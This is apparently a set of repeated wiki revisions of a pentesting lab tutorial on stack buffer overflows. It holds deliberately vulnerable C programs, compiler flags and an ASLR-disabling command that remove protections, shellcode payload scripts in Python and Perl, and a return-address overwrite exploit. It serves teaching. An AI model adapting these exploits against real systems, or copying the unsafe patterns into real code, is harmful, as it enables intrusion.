The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

== Example 3: Control Flow Alteration via Stack Buffer Overflow Exploitation ==
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:14:47Z

AKofranek: /* Example 3: Control Flow Alteration by Stack Buffer Overflow Exploitation */

== Summary ==

This Pentesting documentation features 3 examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

Install gcc-multilib and gdb using apt.

<pre>
sudo apt update
sudo apt install gcc-multilib
sudo apt install gdb
</pre>

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.

=== Example 1 ===

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

=== Example 2 ===

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

=== Example 3: Control Flow Alteration via Stack Buffer Overflow Exploitation ===
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:14:03Z

AKofranek: /* Summary */

== Summary ==

This Pentesting documentation features 3 examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

Install gcc-multilib and gdb using apt.

<pre>
sudo apt update
sudo apt install gcc-multilib
sudo apt install gdb
</pre>

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.

=== Example 1 ===

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

=== Example 2 ===

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

=== Example 3: Control Flow Alteration by Stack Buffer Overflow Exploitation ===
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:13:26Z

AKofranek: /* Requirements */

== Summary ==

This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

Install gcc-multilib and gdb using apt.

<pre>
sudo apt update
sudo apt install gcc-multilib
sudo apt install gdb
</pre>

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.

=== Example 1 ===

